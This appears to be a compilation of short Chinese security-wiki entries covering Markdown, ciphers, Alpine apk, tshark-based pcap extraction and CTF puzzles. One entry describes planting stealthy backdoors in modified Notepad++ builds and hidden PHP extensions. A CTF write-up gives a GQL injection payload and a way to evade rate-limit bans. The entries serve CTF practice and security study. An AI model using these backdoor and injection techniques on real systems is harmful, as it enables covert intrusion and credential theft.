--- title: Markdown --- # Markdown 语法 ### 什么是Markdown语法? Markdown是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。Markdown是一种轻量级标记语言,目标是实现「易读易写」 ### 标题 在Markdown中,你只需要在文本前面加上# 即可,同理、你还可以增加二级标题、三级标题、四级标题、五级标题和六级标题,总共六级,只需要增加# 即可,标题字号相应降低。例如: ``` # 一级标题 ## 二级标题 ### 三级标题 #### 四级标题 ##### 五级标题 ###### 六级标题 ``` ### 锚点 Coding 会针对每个标题,在解析时都会添加锚点id,如 ``` # 锚点 ``` 会被解析成: ``` <h1 id="user-content-锚点">锚点</h1> ``` 注意我们添加了一个user-content-的前缀所以如果要自己添加跳转链接要使用markdown的形式,且链接要加一个’user-content-‘前缀,如: ``` [问内链接](#user-content-锚点); ``` ### 引用 Markdown 标记区块引用是使用类似 email 中用 > 的引用方式,只需要在整个段落的第一行最前面加上 > : ``` > Coding.net 为软件开发者提供基于云计算技术的软件开发平台,包括项目管理,代码托管,运行空间和质量控制等等。 ``` 区块引用可以嵌套,只要根据层次加上不同数量的 > : ``` > 这是第一级引用。 > > > 这是第二级引用。 > > 现在回到第一级引用。 ``` 引用的区块内也可以使用其他的 Markdown 语法,包括标题、列表、代码区块等: ``` > ## 这是一个标题。 > > 1. 这是第一行列表项。 > 2. 这是第二行列表项。 > > 给出一些例子代码: > > return shell_exec("echo $input | $markdown_script"); ``` ### 列表 列表项目标记通常放在最左边,项目标记后面要接一个字符的空格。 无序列表:使用星号、加号或是减号作为列表标记 ``` - Red - Green - Blue ``` 有序列表:使用数字接着一个英文句点 ``` 1. Red 2. Green 3. Blue ``` 如果要在列表项目内放进引用,那 > 就需要缩进: ``` * Coding.net有以下主要功能: > 代码托管平台 > 在线运行环境 > 代码质量监控 > 项目管理平台 ``` 代办列表: 表示列表是否勾选状态 ``` - [ ] 不勾选 - [x] 勾选 ``` ### 代码 只要把你的代码块包裹在 ``` 之间,你就不需要通过无休止的缩进来标记代码块了。 在围栏式代码块中,你可以指定一个可选的语言标识符,然后我们就可以为它启用语法着色了。 举个例子,这样可以为一段 Ruby 代码着色: ```ruby require 'redcarpet' markdown = Redcarpet.new("Hello World!") puts markdown.to_html ``` ### 强调 在Markdown中,可以使用 * 和 _ 来表示斜体和加粗。 ### 斜体: ``` *Coding,让开发更简单* _Coding,让开发更简单_ ``` ### 加粗: ``` **Coding,让开发更简单** __Coding,让开发更简单__ ``` ### 自动链接 方括号显示说明,圆括号内显示网址, Markdown 会自动把它转成链接,例如: ``` [Github首页](https://github.com/) ``` 或者也可以直接用< >,将网址或者邮箱地址放在中间,也能将地址直接转成链接: ``` <support@coding.net> ``` ### 表格 在 Markdown 中,可以制作表格,例如: ``` First Header | Second Header | Third Header ------------ | ------------- | ------------ Content Cell | Content Cell | Content Cell Content Cell | Content Cell | Content Cell ``` 或者也可以让表格两边内容对齐,中间内容居中,例如: ``` First Header | Second Header | Third Header :----------- | :-----------: | -----------: Left | Center | Right Left | Center | Right ``` ### 分割线 在 Markdown 中,可以制作分割线,例如: ``` --- ``` ### 上下标 \^表示上标, _表示下标。如果上下标的内容多于一个字符,要用{}把这些内容括起来当成一个整体。上下标是可以嵌套的,也可以同时使用。 例如: ``` x^{y^z}=(1+{\rm e}^x)^{-2xy^w} ``` ### 图片 Markdown 使用了类似链接的语法来插入图片, 包含两种形式: 内联 和 引用. 内联图片语法如下: ``` ![Alt text](/path/to/img.jpg) ``` 或 ``` ![Alt text](/path/to/img.jpg "Optional title") ``` 也就是: 一个感叹号: ! ; 紧跟一对方括号, 包含了可选填的图片 alt 属性; 紧跟一对圆括号, 包含了图片的 URL 或者路径, 以及一个可选的用单引号或双引号包裹的 title 属性. 引用图片语法如下: ``` ![Alt text][id] ``` “id” 是图片引用的名称. 图片引用使用链接定义的相同语法: ``` [id]: url/to/image "Optional title attribute" ``` ### 标题 ``` --- title:标题 --- ```
sec-knowleage
# 块加密 ## 概述 所谓块加密就是每次加密一块明文,常见的加密算法有 - IDEA 加密 - DES 加密 - AES 加密 块加密也是对称加密。 其实,我们也可以把块加密理解一种特殊的替代密码,但是其每次替代的是一大块。而正是由于一大块,明文空间巨大,而且对于不同的密钥,我们无法做一个表进行对应相应的密文,因此必须得有 **复杂** 的加解密算法来加解密明密文。 而与此同时,明文往往可能很长也可能很短,因此在块加密时往往需要两个辅助 - padding,即 padding 到指定分组长度 - 分组加密模式,即明文分组加密的方式。 ## 基本策略 在分组密码设计时,充分使用了 Shannon 提出的两大策略:混淆与扩散两大策略。 ### 混淆 混淆,Confusion,将密文与密钥之间的统计关系变得尽可能复杂,使得攻击者即使获取了密文的一些统计特性,也无法推测密钥。一般使用复杂的非线性变换可以得到很好的混淆效果,常见的方法如下 - S 盒 - 乘法 ### 扩散 扩散,Diffusion,使得明文中的每一位影响密文中的许多位。常见的方法有 - 线性变换 - 置换 - 移位,循环移位 ## 常见加解密结构 目前块加密中主要使用的是结构是 - 迭代结构,这是因为迭代结构便于设计与实现,同时方便安全性评估。 ### 迭代结构 #### 概述 迭代结构基本如下,一般包括三个部分 - 密钥置换 - 轮加密函数 - 轮解密函数 #### 轮函数 目前来说,轮函数主要有主要有以下设计方法 - Feistel Network,由 Horst Feistel 发明,DES 设计者之一。 - DES - Substitution-Permutation Network(SPN) - AES - 其他方案 #### 密钥扩展 目前,密钥扩展的方法有很多,没有见到什么完美的密钥扩展方法,基本原则是使得密钥的每一个比特尽可能影响多轮的轮密钥。
sec-knowleage
当我们接到某个项目的时候,它已经是被入侵了。甚至已经被脱库,或残留后门等持续攻击洗库。 后渗透攻击者的本质是什么? 阻止防御者信息搜集,销毁行程记录,隐藏存留文件。 防御者的本质是什么? 寻找遗留信息,发现攻击轨迹与样本残留并且阻断再次攻击。 那么这里攻击者就要引入“持续攻击”,防御者就要引入“溯源取证与清理遗留”,攻击与持续攻击的分水岭是就是后渗透持续攻击,而表现形式其中之一就是后门。 ### 后门的种类: * 本地后门:如系统后门,这里指的是装机后自带的某功能或者自带软件后门 * 本地拓展后门:如iis 6的isapi,iis7的 模块后门 * 第三方后门:如apache,serv-u,第三方软件后门 * 第三方扩展后门:如php扩展后门,apache扩展后门,第三方扩展后门 * 人为化后门:一般指被动后门,由人为引起触发导致激活,或者传播 **后门的隐蔽性排行:**本地后门 > 本地拓展后门 > 第三方后门 > 第三方扩展后门,这里排除人为化后门,一个优秀的人为化后门会造成的损失不可估计,比如勒索病毒的某些非联网的独立机器,也有被勒索中毒。在比如某微博的蠕虫等。 **整体概括分类为:**主动后门,被动后门。传播型后门。 **后门的几点特性:**隐蔽,稳定。持久 一个优秀的后门,一定是具备几点特征的,无文件,无端口,无进程,无服务,无语言码,并且是量身目标制定且一般不具备通用性。 攻击者与防御者的本质对抗是什么? 增加对方在对抗中的时间成本,人力成本。 这里要引用百度对APT的解释: > APT是指高级持续性威胁。利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式,APT攻击的原理相对于其他攻击形式更为高级和先进,其高级性主要体现在APT在发动攻击之前需要对攻击对象的业务流程和目标系统进行精确的收集。 那么关于高级持续渗透后门与上面的解释类似:高级持续渗透后门是指高级持续性后渗透权限长期把控,利用先进的后渗透手段对特定目标进行长期持续性维持权限的后攻击形式,高级持续渗透后门的原理相对于其他后门形式更为高级和先进,其高级性主要体现在持续渗透后门在发动持续性权限维持之前需要对攻击对象的业务流程和目标系统进行精确的收集并量身制定目标后门。 **第一季从攻击者角度来对抗:** 项目中一定会接触到溯源,而溯源最重要的环节之一就是样本取证与分析。既然是样本取证,也就是主要找残留文件。可能是脚本,dll,so,exe等。其次是查找相关流量异常,端口,进程。异常日志。 做为攻击者的对抗,无开放端口,无残留文件,无进程,无服务。在防御者处理完攻击事件后的一定时间内,再次激活。 这里要解释一下rootkit,它的英文翻译是一种特殊类型的恶意软件。百度百科是这样解释的: > Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系 统内核,进而达到隐藏信息的目的。 在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。 ### 后门的生成大体分4类: 1. 有目标源码 2. 无目标源码 3. 无目标源码,有目标api 4. 无目标源码,无api,得到相关漏洞等待触发 结合后门生成分类来举例细说几个demo。 ## 1.有目标源码 目前大量服务器上有第三方软件。这里以notepad++为例。 Notepad++是Windows操作系统下的一套文本编辑器,有完整的中文化接口及支持多国语言编写的功能,并且免费开源。 开源项目地址:https://github.com/notepad-plus-plus/notepad-plus-plus 关于编译:https://micropoor.blogspot.hk/2017/12/1notepad.html Demo 环境:windows 7 x64,notepad++(x64) Demo IDE:vs2017 在源码中,我们修改每次打开以php结尾的文件,先触发后门,在打开文件。其他文件跳过触发后门。 ![](media/b728495422dc9915124be66a66da50e1.jpg) ![](media/aa988aa25e0775c44406aba58faf47bd.jpg) 文件被正常打开。 ![](media/64d1aa65870e4498663a3f67b6578dc7.jpg) ![](media/0ea7113c6f35a874d4962ba9f33ca037.jpg) **优点:**在对抗反病毒,反后门软件中有**绝对优势**,可本地多次调试,稳定性强壮。跨平台能力非常强壮,并且可以对后门选择方式任意,如主动后门,被动后门,人为化后门等。 **缺点:**针对性较强,需要深入了解目标服务器安装或使用软件。需要语言不确定的语言基础。在封闭系统,如Windows下多出现于第三方开源。 ### 2.无目标源码 参考内部分享第九课 **优点:**在对抗反病毒,反后门软件中有**一定优势**,稳定性**良好**,跨平台能力一般,并且适用于大多数可操作文件,同样可以选择对后门选择方式任意,如主动后门,被动后门,人为化后门等。 **缺点:**稳定性**不突出**,在修改已生成的二进制文件,容易被**反病毒**,**反后门**软件查杀。 ### 3.无目标源码,有目标api 目前大多数的Ms_server,内置iis,从windows2000开始,而目前国内市场使用03sp2,08r2为主。在win下又以iis为主,在iis中目前主要分为iis5.x,iis6.x,大于等于iis7.x。iis7以后有了很大的变化,尤其引入模块化体系结构。iis6.x最明显的是内置IUSR来进行身份验证,IIS7中,每个身份验证机制都被隔离到自己的模块中,或安装或卸载。 同样,目前国内市场另一种常见组合XAMP(WIN+Apche+mysql+php,与Linux+Apche+mysql+php),php5.x与php7.x有了很大的变化,PHP7将基于最初由Zend开发的PHPNG来改进其框架。并且加入新功能,如新运算符,标记,对十六进制的更友好支持等。 Demo 环境:windows 7x86 php5.6.32 Demo IDE:vs2017 php默认有查看加载扩展,命令为php -m,有着部分的默认扩展,而在扩展中,又可以对自己不显示在扩展列表中 ![](media/b2b341e62db3bf91bd8762c7112b84ed.jpg) php.ini 配置 ![](media/749a9e60168a7928f3a7afa1e7fc633a.jpg) 以Demo.php为例,demo.php代码如下: ![](media/3856a8d4054fc6fc5c436689673a0784.jpg) ![](media/e4c92d9ccd30bcd0c5d7d9d257714d28.jpg) 在访问demo.php,post带有触发后门特征,来执行攻击者的任意php代码。在demo中,仅仅是做到了,无明显的以php后缀为结尾的后门,那么结合第一条,有目标源码为前提,来写入其他默认自带扩展中,来达到更隐蔽的作用。 **优点:**在对抗反病毒,反后门软件中有**绝对优势**,可本地多次调试,稳定性**非常强壮**。跨平台能力非常强壮,且可以对后门选择方式任意,如主动后门,被动后门,人为化后门等。 **缺点:**在编译后门的时候,需要查阅大量API,一个平台到多个平台的相关API。调试头弄,失眠,吃不下去饭。领导不理解,冷暖自知。 **第二季从防御者角度来对抗。** > 后者的话: 目前国内市场的全流量日志分析,由于受制于存储条件等因素,大部分为全流量,流量部分分析。那么在高级持久性后门中,如何建立一个伪流量非实用数据来逃逸日志分析,这应该是一个优秀高级持续后门应该思考的问题。 > Micropoor
sec-knowleage
bzmore === 查看bzip2压缩过的文本文件的内容 ## 补充说明 **bzmore命令** 用于查看bzip2压缩过的文本文件的内容,当下一屏显示不下时可以实现分屏显示。 ### 语法 ```shell bzmore(参数) ``` ### 参数 文件:指定要分屏显示的.bz2压缩包。
sec-knowleage
# A7 ~ Gee cue elle (misc, 283p) > We installed a fancy automatic attack protection system to be more secure against automated attacks from robots and hackers so it can be fully A7 compliant! > Hint: .yaml~ > start.html In this task we are given a small HTML file. Its whole content is here: ```html <script> location.replace('http://'+parseInt(Math.random()*1e15)+'-abuse.web.ctfcompetition.com/login'); </script> ``` It's a simple redirect to randomly generated host. What we see next, is a simple login site. There is a login and password field, along with a `~Login~` button. Trying to type anything into the fields and clicking the button shows a popup saying `Please match the requested format`. OK, we may be able to craft a request anyway (the check is client-side), but let's not do this yet. Instead, we'll peek into the source of the website. Honestly, not much is here, just the regex for checking the fields: `admin` for the login field, and `CTF[{]qu0t45[a-z0-9_]{16}www-[0-9A-Za-z_-]{64}[}]` for the password. When we type the login and password matching the formats, we receive a popup saying `Wrong password`. Nothing unexpected. However, if we check for SQL injection by forging a request with apostrophe character in password field, we receive a redirect to a subpage showing popup `Parse Error: Identifier is a reserved keyword at symbol ANCESTOR`. Hmmm. Googling the error shows it's an error of GQL (Google Query Language, alternative to SQL). Now we can make sense of the challenge title: "Gee cue elle" is the phonetic form of GQL. GQL is known for being difficult to inject to. We were stuck at this point for a while, but then a hint arrived: `.yaml~`. As one of the first steps, we checked `robots.txt` file. It showed: ``` User-agent: * Disallow: /app.yaml Disallow: qa! ``` We obviously tried to fetch the `app.yaml`, but the request was blocked (maybe permissions issue). Anyway, after the hint, we thought to append a tilde character to the filename, as though someone left editor temporary files on the server. And it worked! Here are the contents of the file: ```yaml service: anon2-lmuwucba5we9gi5a runtime: python27 api_version: 1 threadsafe: true handlers: - url: /login script: main.app - url: / static_files: index.html upload: index.html - url: /(.+) static_files: \1 upload: .*[.](?!py$).* libraries: - name: webapp2 version: latest - name: jinja2 version: latest skip_files: - ^(.*/)?\.bak$ ``` Looks like it's App Engine's configuration file (`https://cloud.google.com/appengine/docs/standard/python/config/appref`). After looking at some of sample projects using this platform, we noticed a lot of them contains `main.py` file. We checked for its presence on the server, and we managed to download it when we appended a tilde (so, temporary file again). Now we have full application source code. It appears it's a pretty basic login checker, but just as we noticed earlier, there is an GQL injection: ```python def post(self): sql = "SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = '%s'" query = ndb.gql(sql % self.request.get("user"), self.quota.key) result = query.fetch(1) if not result: self.redirect("/index.html?e=%s" % urllib.quote("Wrong username")) elif result[0].password != self.request.get("password"): raise Exception("Wrong password") else: self.response.write(self.request.get("password")) ``` The query should have used `:2` placeholder for username, instead of formatting the query using `%s`. Well, it seems we can't really get password directly sent to us, because the only result we can have is that we either have `Wrong username` error, or `Wrong password` one (or correct password, but we won't get it by accident ;]). Wrong username will be returned only if the query doesn't return any rows - and we know `admin` user exists. So, if we set username to `admin' AND some_check`, we might have error-based injection, and be able to dump the password bit by bit. In fact, we used the following username: ``` admin' AND password > 'checked_password ``` The full query then looks like: ```sql SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = 'admin' AND password > 'checked_password' ``` Now we can binary searched the password. ... or so we thought. I haven't mentioned that, but the application implements a simple abuse detection. When too many password checks have been done, or too many errors have been made, it bans us for 90s. In addition, it bans us permamently after 2240s. It even writes that in the response if we get banned: ```html <h1>Abuse detection system triggered!</h1> <h3>You have been banned for 90 seconds.</h3> <p> <b> If you believe this is a mistake, contact your system administrator. </b> Possible reasons include: <ul> <li>Generating too many errors too quickly <!--DEBUG: 2 queries / 30 seconds--></li> <li>Making too many requests too quickly <!--DEBUG: 13 queries / 30 seconds--></li> <li>Spending too much time without authenticating <!--DEBUG: 2240 seconds--></li> </ul> </p> ``` When I first implemented the binary search, I just got throttled so much, that I eventually hit the 2240s limit while getting less than half of the password. I retried a couple of times, but the results were the same. Hmmm. Let's make some calculations. The password follows a certain regex. From the Python source, we know all the characters, except for 64 pseudo-random base64 characters. Since each base64 character has 6 bits of entropy, that means we have a total of `64*6 == 384` bits and we need that many queries. On average, half of them counts as errors (`Wrong password` is signalled through raising an exception, while `Wrong username` directly redirects). If we don't throttle requests on our side, we will get banned for 90s after around 4 requests, so reading all bits will take approximately `384/4*90 == 8640` seconds. That's way too much. We can reduce it threefold if we throttle the requests locally - in other words, when we got 2 errors within the last 30 seconds, we wait until this condition is no longer true. That algorithm will give password after, very approximately, `384/4*30 == 2880` seconds. That's much closer to the limit of 2240s, but still, when we tried it a couple of times, we were getting banned too soon. What else can we do? Well, let's assume for a moment only error requests are counted towards the limit, and otherwise we can do them as much as we can. Then, we would be able to check consecutive letters: `A`, `B`, `C`, and so on, each time getting free `Wrong username`, until we finally hit the correct letter with `Wrong password`. This would take only one error per letter, so one timeout per 4 letters or `64/4*30 == 480` seconds (not counting latency for checking all the small characters). Unfortunately, the non-error requests are limited too (up to 13 requests per 30 seconds), so we cannot directly apply that strategy. Instead, we biased our binary search algorithm to divide the search space not in the middle, but at around 90%. The value is pretty arbitrary, it should probably be close to `allowed_hits/(allowed_hits+allowed_errs)`, but the truly optimal strategy would also take into account how many of the errors are already used up. We decided not to bother with such hard optimizations and just opened 20 instances of the biased binary search, and after 2240s we found two of them actually managed to squeeze through and calculated the whole flag. CTF-quality code for solving is available in `doit2.py` file.
sec-knowleage
apk === Alpine Linux 下的包管理工具 ## 使用实例 ```shell apk install xxx apk search xxx # 支持正则 apk info xxx # 查看包的详细信息 apk show # list local package # 卸载并删除 包 apk del openssh openntp vim ``` ### 升级 upgrade命令升级系统已安装的所以软件包(一般包括内核),当然也可指定仅升级部分软件包(通过-u或–upgrade选择指定)。 ```shell apk update # 更新最新本地镜像源 apk upgrade # 升级软件 apk add --upgrade busybox # 指定升级部分软件包 ``` ### 搜索 ```shell apk search # 查找所以可用软件包 apk search -v # 查找所以可用软件包及其描述内容 apk search -v 'acf*' # 通过软件包名称查找软件包 apk search -v -d 'docker' # 通过描述文件查找特定的软件包 ``` ### 查看包信息 info命令用于显示软件包的信息。 ```shell apk info # 列出所有已安装的软件包 apk info -a zlib # 显示完整的软件包信息 apk info --who-owns /sbin/lbu # 显示指定文件属于的包 ``` ## 笔记 还是蛮喜欢 alpine 的,简单纯粹 ```shell apk add iproute2 # ss vs netstat ss -ptl apk add drill # drill vs nslookup&dig crond # 开启 cron 服务 crontab -l -e apk add xxx apk search -v xxx apk info -a xxx apk info echo -e "http://mirrors.aliyun.com/alpine/v3.6/main\nhttp://mirrors.aliyun.com/alpine/v3.6/community" > /etc/apk/repositories apk update # storage ibu # alpine local backup # network echo "shortname" > /etc/hostname hostname -F /etc/hostname /etc/hosts /etc/resolv.conf # conig DNS modprobe ipv6 # enable ipv6 echo "ipv6" >> /etc/modules iface # config interface apk add iptables ip6tables iptables-doc /etc/init.d/networking restart # activate change apke add iputils # IPv6 traceroute traceroute6 ipv6.google.com awall # alpine wall # setup a openvpn server # post-install /etc/apk/repositories apk add cherokee --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted apk search -v --description 'NTP' # show description and search from description apk info -a zlib apk info -vv|sort apk info -r -R # require / depency apk version -v -l '<' # show available updates apk upgrade -U -a apk add -u xxx # update xxx /etc/runlevels # runlevel apk add openrc # use openrc for init system rc-update add xxx # set to start on rc-service xxx start # equal -> /etc/init.d/xxx start rc-status adduser xxx passwd xxx apk add ansible # server ssh-keygen /etc/ansible/hosts apk add python # node ssh-copy-id apk add man man-pages mdocml-apropos less less-doc export PAGER=less /etc/rc.conf # /etc/rc.conf -> funny character apk add bash bash-doc bash-completion # bash apk add util-linux pciutils usbutils coreutils binutils findutils grep # grep / awk apk add build-base gcc abuild binutils binutils-doc gcc-doc # compile apk add cmake cmake-doc extra-cmake-modules extra-cmake-modules-doc apk add ccache ccache-doc apk add docker # docker rc-update add docker boot rc-service docker start apk add py-pip pip install docker-compose ln -s /usr/bin/docker-compose /usr/bin/doc # application apk add openssh # ssh rc-update add sshd /etc/init.d/sshd start /etc/sshd_config apk add dropbear # another openssh implementation ```
sec-knowleage
# PCBC PCBC 的全称为明文密码块链接(Plaintext cipher-block chaining)。也称为填充密码块链接(Propagating cipher-block chaining)。 ## 加密 ## 解密 ## 特点 - 解密过程难以并行化 - 互换邻接的密文块不会对后面的密文块造成影响
sec-knowleage
# 数据提取 这一块是流量包中另一个重点,通过对协议分析,找到了题目的关键点,如何提取数据成了接下来的关键问题 ## wireshark ### wireshark自动分析 `file -> export objects -> http` ### 手动数据提取 `file->export selected Packet Bytes` ## tshark tshark作为wireshark的命令行版,高效快捷是它的优点,配合其余命令行工具(awk,grep)等灵活使用,可以快速定位,提取数据从而省去了繁杂的脚本编写 再看`Google CTF 2016 Forensic-200`这一题,可以通过tshark迅速完成解题 ```shll what@kali:/tmp$ tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt what@kali:/tmp$ # awk -F: 'function comp(v){if(v>127)v-=256;return v}{x+=comp(strtonum("0x"$2));y+=comp(strtonum("0x"$3))}$1=="01"{print x,y}' data.txt > data3.txt what@kali:/tmp$ gnuplot > plot "data3.txt" ``` - Step 1 鼠标协议中数据提取 - Step 2 通过awk进行位置坐标转换 - Step 3 形成图形 --- ### 常用方法 > `tshark -r **.pcap –Y ** -T fields –e ** | **** > data` ``` Usage: -Y <display filter> packet displaY filter in Wireshark display filter syntax -T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|? format of text output (def: text) -e <field> field to print if -Tfields selected (e.g. tcp.port, _ws.col.Info) ``` 通过`-Y`过滤器(与wireshark一致),然后用`-T filds -e`配合指定显示的数据段(比如usb.capdata) - `tips` - `-e`后的参数不确定可以由 `wireshark` 右击需要的数据选中后得到 ### 例题 > 题目:`google-ctf-2016 : a-cute-stegosaurus-100` 这题的数据隐藏的非常巧妙,而且有一张图片混淆视听,需要对`tcp`协议非常熟悉,所以当时做出来的人并不多,全球只有 `26` 支队伍 在`tcp`报文段中有6Bit的状态控制码,分别如下 - URG:紧急比特(urgent),当URG=1时,表明紧急指针字段有效,代表该封包为紧急封包。它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据) - ACK:确认比特(Acknowledge)。只有当ACK=1时确认号字段才有效,代表这个封包为确认封包。当ACK=0时,确认号无效。 - PSH:(Push function)若为1时,代表要求对方立即传送缓冲区内的其他对应封包,而无需等缓冲满了才送。 - RST:复位比特(Reset) ,当RST=1时,表明TCP连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接。 - SYN:同步比特(Synchronous),SYN置为1,就表示这是一个连接请求或连接接受报文,通常带有 SYN 标志的封包表示『主动』要连接到对方的意思。。 - FIN:终止比特(Final),用来释放一个连接。当FIN=1时,表明此报文段的发送端的数据已发送完毕,并要求释放运输连接。 而这里的`tcp.urg`却为 通过tshark提取`tcp.urg`然后去除0的字段,换行符转`,`直接转换成python的列表,转ascii即可得到flag ``` ⚡ root@kali: tshark -r Stego-200_urg.pcap -T fields -e tcp.urgent_pointer|egrep -vi "^0$"|tr '\n' ',' Running as user "root" and group "root". This could be dangerous. 67,84,70,123,65,110,100,95,89,111,117,95,84,104,111,117,103,104,116,95,73,116,95,87,97,115,95,73,110,95,84,104,101,95,80,105,99,116,117,114,101,125,# ... >>> print "".join([chr(x) for x in arr]) #python转换ascii CTF{And_You_Thought_It_Was_In_The_Picture} ``` > 题目:`stego-150_ears.xz` **Step 1** 通过`file`命令不断解压得到 `pcap` 文件 ```shell ➜ Desktop file ears ears: XZ compressed data ➜ Desktop unxz < ears > file_1 ➜ Desktop file file_1 file_1: POSIX tar archive ➜ Desktop 7z x file_1 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-4710MQ CPU @ 2.50GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 4263936 bytes (4164 KiB) Extracting archive: file_1 -- Path = file_1 Type = tar Physical Size = 4263936 Headers Size = 1536 Code Page = UTF-8 Everything is Ok Size: 4262272 Compressed: 4263936 ``` **Step 2** 通过 `wireshark` 发现 `dns` 中回应名字存在异常,组成 `16` 进制的 `png` 文件 采用 `tshark` 进行提取,提取 `dns` 中的数据,筛选具体报文形式`\w{4,}.asis.io` `tshark -r forensic_175_d78a42edc01c9104653776f16813d9e5 -T fields -e dns.qry.name -e dns.flags|grep 8180|awk '{if ($1~/\w{4,}.asis.io/) print $1}'|awk -F '.' '{print $1}'|tr -d '\n' > png` **Step 3** `16` 进制还原图片 `xxd -p -r png flag` ## 自定义协议 提取数据存在一类特殊情况,即传输的数据本身使用自定义协议,下面用 `HITCON 2018` 的两道 Misc 为例说明。 ### 例题分析 - [HITCON-2018 : ev3 basic](https://github.com/ctf-wiki/ctf-challenges/tree/master/misc/cap/2018HITCON-ev3-basic) - [HITCON-2018 : ev3 scanner](https://github.com/ctf-wiki/ctf-challenges/tree/master/misc/cap/2018HITCON-ev3-scanner) **ev3 basic** #### 确定数据 对于这类题目,首先分析有效数据位于哪些包中。观察流量,通讯双方为 `localhost` 和 `LegoSystem` 。其中大量标为 `PKTLOG` 的数据包都是日志,此题中不需关注。简单浏览其余各个协议的流量,发现仅 `RFCOMM` 协议中存在没有被 `wireshark` 解析的 `data` 段,而 `RFCOMM` 正是蓝牙使用的[传输层协议](https://en.wikipedia.org/wiki/List_of_Bluetooth_protocols#Radio_frequency_communication_(RFCOMM))之一。 由前述 `tshark` 相关介绍,可以通过以下命令提取数据: `tshark -r .\ev3_basic.pklg -T fields -e data -Y "btrfcomm"` #### 分析协议 找到数据后,需要确定数据格式。如何查找资料可以参考 `信息搜集技术` 一节,此处不再赘述。总之由 `ev3` 这个关键词出发,我们最终知道这种通信方式传输的内容被称之为 [Direct Command](http://ev3directcommands.blogspot.com/2016/01/no-title-specified-page-table-border_94.html),所使用的是乐高自定义的一种[简单应用层协议](https://le-www-live-s.legocdn.com/sc/media/files/ev3-developer-kit/lego%20mindstorms%20ev3%20communication%20developer%20kit-f691e7ad1e0c28a4cfb0835993d76ae3.pdf?la=en-us),`Command` 本身格式由乐高的手册 [EV3 Firmware Developer Kit](http://www.lego.com/en-gb/mindstorms/downloads) 定义。*(查找过程并不像此处简单而直观,也是本题的关键点之一。)* 在乐高的协议中,发送和回复遵从不同格式。在 `ev3 basic` 中,所有回复流量都相同,通过手册可知内容代表 `ok` ,没有实际含义,而发送的每个数据包都包含了一条指令。由协议格式解析出指令的 `Opcode` 均为 `0x84` ,代表 `UI_DRAW` 函数,且 `CMD` 是 `0x05` ,代表 `TEXT` 。之后是四个参数,`Color`, `X0`, `Y0`, `STRING` 。此处需要注意乐高的单个参数字节数并不固定,即便手册上标明了数据类型是 `DATA16` ,仍然可能使用一个字节长度的参数,需要参照手册中 `Parameter encoding` 一节及[相关文章](http://ev3directcommands.blogspot.com/2016/01/ev3-direct-commands-lesson-02-pre.html)。 尝试分析几个命令,发现每个指令都会在屏幕特定位置打印一个字符,这与提供的图片相符。 #### 处理结果 理解数据内容后,通过脚本提取所有命令并解析参数,需要注意单个参数的字节数不固定。 得到所有命令的参数后,可以将每个字符其按照坐标绘制在屏幕上。较简单的做法是先按 `X` 后按 `Y` 排序,直接输出即可。 **ev3 scanner** 第二题的做法与第一题基本相同,难度增加的地方在于: - 发送的命令不再单一,包括读取传感器信息、控制 ev3 运动 - 回复也包含信息,主要是传感器读取的内容 - 函数的参数更复杂,解析难度更大 - 解析命令得到的结果需要更多处理 `ev3 scanner` 此处不再提供详细方法,可作为练习加深对这一类型题目的理解。 ### Python Script TODO
sec-knowleage
# Alexandria Category: Weekly Challenges, 10 points ## Description > Don't judge a book by its cover... > > The flag format is flag{...} with underscores between words, for example flag{example_flag}. Change the flag in accordance to this format. ``` 1612130291 0140283331 0553588486 0307588378 031606792X 0762447699 0439023483 0439708184 0143038419 0316042676 0142000671 0440242940 1400079276 ``` ## Solution Searching these numbers via Google, we find that they are ISBNs for popular boots: ``` 1612130291 - Fifty Shades of Grey 0140283331 - Lord of the Flies 0553588486 - A Game of Thrones 0307588378 - Gone Girl 031606792X - Breaking Dawn 0762447699 - You Are a Badass: How to Stop Doubting Your Greatness and Start Living an Awesome Life 0439023483 - The Hunger Games 0439708184 - Harry Potter and the Philosopher's Stone 0143038419 - Eat, Pray, Love: One Woman's Search for Everything Across Italy, India and Indonesia 0316042676 - Beautiful Creatures 0142000671 - Of Mice and Men 0440242940 - Outlander 1400079276 - Kafka on the Shore ``` Taking the first letter of each book, we get the flag: `flag{by_the_book}`.
sec-knowleage
# Leetcode 题解 - 图 <!-- GFM-TOC --> * [Leetcode 题解 - 图](#leetcode-题解---图) * [二分图](#二分图) * [1. 判断是否为二分图](#1-判断是否为二分图) * [拓扑排序](#拓扑排序) * [1. 课程安排的合法性](#1-课程安排的合法性) * [2. 课程安排的顺序](#2-课程安排的顺序) * [并查集](#并查集) * [1. 冗余连接](#1-冗余连接) <!-- GFM-TOC --> ## 二分图 如果可以用两种颜色对图中的节点进行着色,并且保证相邻的节点颜色不同,那么这个图就是二分图。 ### 1. 判断是否为二分图 785\. Is Graph Bipartite? (Medium) [Leetcode](https://leetcode.com/problems/is-graph-bipartite/description/) / [力扣](https://leetcode-cn.com/problems/is-graph-bipartite/description/) ```html Input: [[1,3], [0,2], [1,3], [0,2]] Output: true Explanation: The graph looks like this: 0----1 | | | | 3----2 We can divide the vertices into two groups: {0, 2} and {1, 3}. ``` ```html Example 2: Input: [[1,2,3], [0,2], [0,1,3], [0,2]] Output: false Explanation: The graph looks like this: 0----1 | \ | | \ | 3----2 We cannot find a way to divide the set of nodes into two independent subsets. ``` ```java public boolean isBipartite(int[][] graph) { int[] colors = new int[graph.length]; Arrays.fill(colors, -1); for (int i = 0; i < graph.length; i++) { // 处理图不是连通的情况 if (colors[i] == -1 && 